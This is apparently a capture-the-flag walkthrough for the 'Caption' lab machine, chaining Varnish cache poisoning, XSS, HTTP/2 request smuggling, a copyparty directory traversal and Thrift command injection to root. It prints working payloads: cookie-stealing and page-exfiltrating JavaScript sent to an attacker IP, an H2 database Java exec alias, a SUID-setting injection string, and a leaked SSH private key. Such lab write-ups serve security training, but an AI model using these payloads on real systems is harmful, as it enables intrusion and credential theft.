Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy
|_http-title: GitBucket
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Sep 2024 11:50:46 GMT
| Set-Cookie: JSESSIONID=node01ipnpvft502w912lbur647qxyd2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5922
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.246.190:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.129.246.190:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/im
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sun, 15 Sep 2024 11:50:45 GMT
| Set-Cookie: JSESSIONID=node01vyyx4i5bvybm1jjm6dkwscpdf0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 7197
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.246.190:8080/" />
| <meta property="og:image" content="http://10.129.246.190:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20240915115045"
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 15 Sep 2024 11:50:46 GMT
| Set-Cookie: JSESSIONID=node01crthsvhv0zuy1m2zoeicd7osa1.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
There’s a redirect to caption.htb
detected on port 80 and there seems to be a GitBucket installation on 8080. I add the domain to my /etc/hosts
.
HTTP
On port 80
there’s just a login prompt but none of the default credentials seem to work. Within the HTML code is a link to codepen but nothing else of interest.
The GitBucket installation on port 8080
does have publicly viewable content available and shows two repositories for the user root
.
Caption-Portal
The code within Caption-Portal looks like it belongs to the application on port 80. For some reason it does only include the login page but none of the pages that are hiding behind the login. It also lists some of the backend configurations for HAProxy and Varnish HTTP Cache.
In the configuration file for HAProxy its defined that /logs
and /download
are restricted and denied. If the host header does not begin with caption.htb
there will be a redirect to http://caption.htb
and all other requests are forwarded to the backend server listening on port 6081.
--- SNIP ---
frontend http_front
bind *:80
default_backend http_back
acl multi_slash path_reg -i ^/[/%]+
http-request deny if multi_slash
acl restricted_page path_beg,url_dec -i /logs
acl restricted_page path_beg,url_dec -i /download
http-request deny if restricted_page
acl not_caption hdr_beg(host) -i caption.htb
http-request redirect code 301 location http://caption.htb if !not_caption
backend http_back
balance roundrobin
server server1 127.0.0.1:6081 check
The configuration file for Varnish looks rather empty and uninteresting.
vcl 4.0;
backend default {
.host = "127.0.0.1";
.port = "8000";
}
sub vcl_recv {
// update for prod - CR-3045
}
sub vcl_backend_response {
// update for prod - CR-3045
}
sub vcl_deliver {
// update for prod - CR-3045
}
The git history
contains 11 commits and one of those has a particular interesting name: Update access control.
Checking out this commit shows the removal of the hardcoded credentials vFr&cS2#0!
for the user margo
.
They do not work for SSH but still grant access to the web application.
I’ll decide to check out the other repository first though.
Logservice
This repository contains the code for an Apache Thrift service over RPC, written in Go. Besides the service declaration in a .thrift
file, it has the generated Go code, and the code for the server component in server.go
.
Looking through the server code, it looks like it’s listening on port 9090 and takes a filename to a log file as an input parameter. It then parses an IP and the User-Agent based on a regex before adding those to a string and passing it to /bin/sh -c
.
If I can control the log file that gets parsed, I might be able to chain this for code execution, but the service is not reachable from the outside, so I’ll move on for now.
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
Initial Access
After login to the Caption Portal with margo
s credentials, I can see a website talking about networks with links to Firewalls, Routers and Logs. The link to /logs
returns a 403 and the links for Routers don’t do anything.
On /firewalls
there are non-functioning links to several kind of management features for the firewalls and a note regarding the active monitoring through admins during the maintenance.
Observing the HTTP response headers it’s obvious that there’s a Varnish cache between me and the actual web application as already seen in the git repository. Additionally there are requests to a non-existent Javascript file, that includes a parameter sounding like a proxy.
If I can influence the utm_source
parameter somehow, it might be possible to poison the cache and achieve XSS
.
First I try some header fields commonly used by proxies1 and get lucky with X-Forwarded-Host
.
Changing the header value from helloworld
to helloworld2
shows the exact same response and the x-cache: MISS
header disappeared, meaning the cache was hit. This also means that the X-Forwarded-Host
header is unkeyed.
If a parameter is unkeyed, it does not contribute to the key making the cache entry. The key to the cache entry should consist out of all parameters that change the contents of a page, otherwise other users might be served a poisoned response (or just the information from another user).
Changing the X-Forwarded-Host
to the following Javascript payload, closes the script tag and adds another one pointing towards my webserver. After 120 seconds (as denoted by the cache-control
header) the cache is emptied and I can inject my payload.
"></script><script src="http://10.10.10.10/xss.js
I’ll host a simple XSS
payload on my webserver under /xss.js
that sends the cookie to my listener since the HTTPOnly
flag is not set.
let xhr = new XMLHttpRequest();
xhr.open("GET","http://10.10.10.10/cookie=" + document.cookie, false);
xhr.send();
A few minutes pass and I keep injecting my payload into the cache, eventually I do get a call back with a cookie and inspecting the JWT shows I’m the admin
now.
10.129.192.2 - - [16/Sep/2024 11:58:49] "GET /xss.js HTTP/1.1" 200 -
10.129.192.2 - - [16/Sep/2024 11:58:49] code 404, message File not found
10.129.192.2 - - [16/Sep/2024 11:58:49] "GET /cookie=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDg0MzA5fQ.SSSE-QZsVhTH9miHW-SSMG8FSo1jiNqmq6AL4jMQL54 HTTP/1.1" 404 -
Replacing the cookie within Firefox and refreshing the page does not grant me any additional privileges on the Firewalls page.
What’s left to discover is the Logs, but the same 403 is returned upon access. From the haproxy configuration I know that anything starting with /logs
is not allowed and trying to bypass that by using url-encoded values does not work either due to url_dec
2. It also checks that the path is not starting with multiple slashes, otherwise it would be possible to bypass the ACL with //logs
.
Info
Usually on Linux having one or multiple slashes as separator are equivalent3 so
//logs
should be equal to/logs
. In a previous version of the box this was possible and the following steps could be performed directly in the browser.
Based on the response headers the Varnish cache is version 6.6 and this is already a bit dated (2021-03-15). Checking for known exploits finds CVE-2021-36740, a request smuggling vulnerability with HTTP/2 requests. At the time of writing BurpSuite only supports HTTP/2 for HTTPS connections, so I’ll use h2csmuggler to exploit this.
I clone the repository and install the requirement h2
with pip. Then I can test the web application to see if its vulnerable.
python h2csmuggler.py -x http://caption.htb -t http://127.0.0.1:8000/logs
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
I export the stolen cookie as environment variable COOKIE
to be used in the upcoming requests and try to access the /logs
endpoint again. That works and I get the contents of the page back.
export COOKIE_HEADER="Cookie: session=<JWT>"
python h2csmuggler.py -x http://caption.htb/404 \
-H "$COOKIE_HEADER" \
http://127.0.0.1:8000/logs
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:17:41 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65547
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:17:41 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 65548
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Networks Home</title>
<link rel="canonical" href="https://codepen.io/ferrazjaa/pen/abPQywb">
<script>
window.console = window.console || function(t) {};
</script>
<title>Viajar é Preciso</title>
<!-- LINKS BOOTSTRAP -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<!-- ICONES -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
</head>
<body>
<!-- nav bar -->
<nav class="navbar navbar-expand-lg bg-body-tertiary p-4">
<div class="container">
<!-- o usuário escolher o modo dark ou light -->
<button class="btn btn-secondary me-4" id="alterarTemaSite" onclick="alterarTemaSite()"><i
class="bi bi-brightness-high-fill"></i>
</button>
<!-- Logo -->
<a class="navbar-brand text-success" href="#"><strong>Caption Networks <i class="bi bi-globe"></i></strong></a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<!-- MENU -->
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="/home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/firewalls">Firewalls</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
Routers
</a>
<ul class="dropdown-menu">
<li><a class="dropdown-item" href="#">Staging Networks</a></li>
<li><a class="dropdown-item" href="#">UAT Networks</a></li>
</ul>
<li><a class="nav-link" aria-current="page" href="/logs">Logs</a>
</li>
</ul>
<div class="d-flex">
<a href="/logout" class="btn btn-success">Logout</a>
</div>
</div>
</div>
</nav>
<header class="container my-4">
<div class="row">
<!-- vai ocupar todo o espaço se a tela for pequena -->
<!-- col-lg-6 para telas grandes -->
<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>
<!-- BOOTSTRAP JS -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"></script>
<script id="rendered-js" >
// altera tem site
function alterarTemaSite() {
let tema = document.querySelector("html").getAttribute("data-bs-theme");
if (tema === "dark") {
document.querySelector("html").setAttribute("data-bs-theme", "light");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-moon-fill"></i>`;
} else {
document.querySelector("html").setAttribute("data-bs-theme", "dark");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-brightness-high-fill""></i>`;
}
}
//# sourceURL=pen.js
</script>
</body>
</html>
On the /logs
page I can download different logs through the /download
path. That endpoint takes another service as parameter url
and that points towards http://127.0.0.1:3923
. Downloading the different log files does not reveal much besides the fact that margo
used a ECDSA key to authenticate to the server via SSH in the SSH Logs
.
Trying to download a non-existing file via http://127.0.0.1:3923/ryuki
shows an error page, exposing the application in use: copyparty. Searching for known exploits finds CVE-2023-37474 with a directory traversal through the .cpr
subfolder.
python h2csmuggler.py -x http://caption.htb/404 \
-H "$COOKIE_HEADER" \
'http://127.0.0.1:8000/download?url=http://127.0.0.1:3923/ryuki'
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:23:58 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65556
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
[INFO] Requesting - /download?url=http://127.0.0.1:3923/ryuki
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:23:58 GMT
content-type: text/html; charset=utf-8
content-length: 1888
x-varnish: 65557
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>copyparty</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=0.8">
<meta name="theme-color" content="#333">
<link rel="stylesheet" media="screen" href="/.cpr/splash.css?_=C7Ta">
<link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=C7Ta">
</head>
<body>
<div id="wrap">
<a id="a" href="/?h" class="af">refresh</a>
<a id="v" href="/?hc" class="af">connect</a>
<p id="b">howdy stranger <small>(you're not logged in)</small></p>
<div id="msg">
<h1 id="n">404 not found ┐( ´ -`)┌</h1><p><a id="r" href="/?h">go home</a></p>
</div>
<h1 id="cc">client config:</h1>
<ul>
<li><a id="i" href="/?k304=y" class="r">enable k304</a> (currently disabled)
<blockquote id="j">enabling this will disconnect your client on every HTTP 304, which can prevent some buggy proxies from getting stuck (suddenly not loading pages), <em>but</em> it will also make things slower in general</blockquote></li>
<li><a id="k" href="/?reset" class="r" onclick="localStorage.clear();return true">reset client settings</a></li>
</ul>
<h1 id="l">login for more:</h1>
<div>
<form method="post" enctype="multipart/form-data" action="/ryuki">
<input type="hidden" name="act" value="login" />
<input type="password" name="cppwd" />
<input type="submit" value="Login" />
</form>
</div>
</div>
<a href="#" id="repl">π</a>
<span id="pb"><span>powered by</span> <a href="https://github.com/9001/copyparty">copyparty </a></span>
<script>
var SR = "",
lang="eng",
dfavico="🎉 000 none";
document.documentElement.className=localStorage.theme||"az a z";
</script>
<script src="/.cpr/util.js?_=C7Ta"></script>
<script src="/.cpr/splash.js?_=C7Ta"></script>
</body>
</html>
Retrieving /etc/passwd
through this, works and confirms the vulnerability even though no version number is visible on the error page. Since I already know that margo
uses an ECDSA key, I’ll try to retrieve it throught the exploit by using the default name4. The slashes in the payload have to be url-encoded twice because it will decoded once by the first web application before being passed to copyparty.
python h2csmuggler.py -x http://caption.htb/404 \
-H "$COOKIE_HEADER" \
'http://127.0.0.1:8000/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa'
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:26:25 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65565 131079
age: 38
via: 1.1 varnish (Varnish/6.6)
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:27:03 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65566
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
This key allows me login as margo
and collect the first flag.
Privilege Escalation
The password for margo
still does not work and sudo requires one.
After checking the running processes and the open ports, it looks like root is running the Logservice
on port 9090
. I’ll forward that port, so I can check if the service is actually vulnerable.
ps auxwww | grep root
root 1052 0.0 0.0 2892 992 ? Ss 09:45 0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root 1056 0.0 0.4 1240804 18264 ? Sl 09:45 0:02 /usr/local/go/bin/go run server.go
root 1396 0.0 0.1 1009716 4696 ? Sl 09:46 0:00 /tmp/go-build1381203703/b001/exe/server
ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:6082 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:6081 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3923 0.0.0.0:* users:(("python3",pid=1059,fd=3))
tcp LISTEN 0 128 127.0.0.1:8000 0.0.0.0:* users:(("python3",pid=1063,fd=3))
tcp LISTEN 0 50 0.0.0.0:8080 0.0.0.0:* users:(("java",pid=1062,fd=5))
tcp LISTEN 0 128 [::]:22 [::]:*
After installing the Apache Thrift Compiler with sudo apt install thrift-compiler
, it can be used to generate Python code based on the .thrift
file available on GitBucket5.
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Running thrift
while specifying --gen py
to generate the Python code, several files appear in gen-py
, that can be imported to talk to the service. The tutorial provides a sample script that I adapt to my needs. In order to use the Python bindings I’ll need to run pip install thrift
.
thrift -r --gen py log_service.thrift
tree gen-py
gen-py
├── __init__.py
└── log_service
├── LogService-remote
├── LogService.py
├── __init__.py
├── constants.py
└── ttypes.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
import sys
sys.path.append('gen-py')
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
result = client.ReadLogFile("/tmp/ryuki.log")
transport.close()
if __name__ == "__main__":
main()
What’s left to do is to create a file in /tmp/ryuki.log
on the target with the following content, that gets picked up by the regex and passed into the call to bash. It does terminate the '
, inserts a subshell adding the SUID to bash, and then fixing the uneven '
.
"user-agent":"'$(chmod u+s /bin/bash) '"
Executing the script does not produce any output, but the SUID is set on the /bin/bash
on the remote host and can be used to escalate to root.
Unintended Path
H2 Database
On release there was an unintended solution that completely bypassed the abuse of the Caption Portal and granted a reverse shell through the H2 database on GitBucket.
Since the access level with the default credentials root:root
on GitBucket is the site administrator, it allows me to view the users, system settings, plugins and the database. From the system settings I know the version 4.40.0, that’s fairly recent and without any known vulnerabilites, the home directory for GitBucket is set within margo
’s home directory and the embedded H2 database is in use.
That can be used for remote code execution67 since it does allow the declaration of functions as source code8, that will be compiled and can be called within a query.
The sidebar provides access to the Database viewer where the tables of the database are visible and queries can be run. First I define a new alias EXECVE
with some Java code that takes the input and passes it to exec
. Then I call the alias while providing whoami as command to run.
CREATE ALIAS EXECVE AS $$
String execve(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}$$;
SELECT EXECVE('whoami');
The output of the whoami is displayed within a table and shows margo. Next I’ll transfer a reverse shell bash script with curl and call it afterwards. This grants me shell access as margo
and I can proceed with the regular Privilege Escalation.
Info
Chaining commands through this version of the alias does not work, so either use single commands or a subshell.
Poisoning + XSS for Exfiltration
Instead of using HTTP2 request smuggling the data can also be exfiltrated by using XSS and cache poisoning. From the configurations on Gitbucket I know that HAProxy allows any Host
header starting with caption.htb
and that Varnish is listening on port 6081.
Accessing the Flask backend server on port 8000 directly with XSS is not possible thanks to the Same-Origin Policy (SOP). Even though I can send requests there, the response is not accessible in Javascript9. On the other hand the cookie will work on all ports because that’s still considered Same-Site10.
That opens up the following attack path:
- Poison the request with
Host: caption.htb
to load a script that redirects tohttp://caption.htb:6081/firewalls
- Poison the request with
Host: caption.htb:6081
to load a script that exfiltrates from/logs
- Bot loads first poisoned request and gets redirected to port 6081 and is still logged in thanks to the Same-Site cookie
- Bot loads second poisoned request that exfiltrates
/logs
since it’s relative and therefore considered Same-Origin. - Repeat with
/download
and the copyparty exploit to retrieve the SSH key from margo
Info
The HAProxy configuration in the repository and the one running on the server differ. Any request to
/firewalls
will be forwarded to the cache after adding a parameterip=$IP
. This parameter is part of the cache key and therefore need to be supplied when redirecting to port 6081.
That piece of information can be gained by exfiltrating the URL that the bot uses with the regular cache poisoning and XSS.
To exploit this I spin up a simple webserver on port 80 that serves the following two payloads as redirect.js
and xss.js
. Then I wait for the bot to retrieve the poisoned cache, get redirected and then send the exfiltrated data back to my webserver.
// Redirect to caption.htb:6081/firewalls while preserving the original parameters
document.addEventListener("DOMContentLoaded", function(event) {
let query = window.location.search;
document.location.href = 'http://caption.htb:6081/firewalls' + query;
});
var endpoint = 'http://10.10.10.10';
function exfil(data) {
let e = new XMLHttpRequest();
e.open('GET', `${endpoint}/exfil?data=${btoa(data)}`, false);
e.send();
}
let xhr = new XMLHttpRequest();
xhr.open('GET', '/logs', false);
xhr.withCredentials = true;
xhr.send()
exfil(xhr.responseText);
Attack Path
flowchart TD subgraph "Initial Access" A(Port 8080) -->|Guessable Credentials| B(Access to GitBucket) B -->|Credentials in Git History| C(Access to Portal as margo) C -->|Cache Poisoning with XSS| D(Cookie as admin) D -->|HTTP2 Request Smuggling| E(Acess to Download Feature copyparty) E -->|CVE-2023-37474| F(Directory Traversal to get SSH Key) end subgraph "Privilege Escalation" F -->|Login with Key| G(Shell as margo) G -->|"Local Thrift Service\nwith builtin RCE through crafted log file"| H(Shell as root) end B -->|"Unintended\nAbuse H2 Database for RCE"| G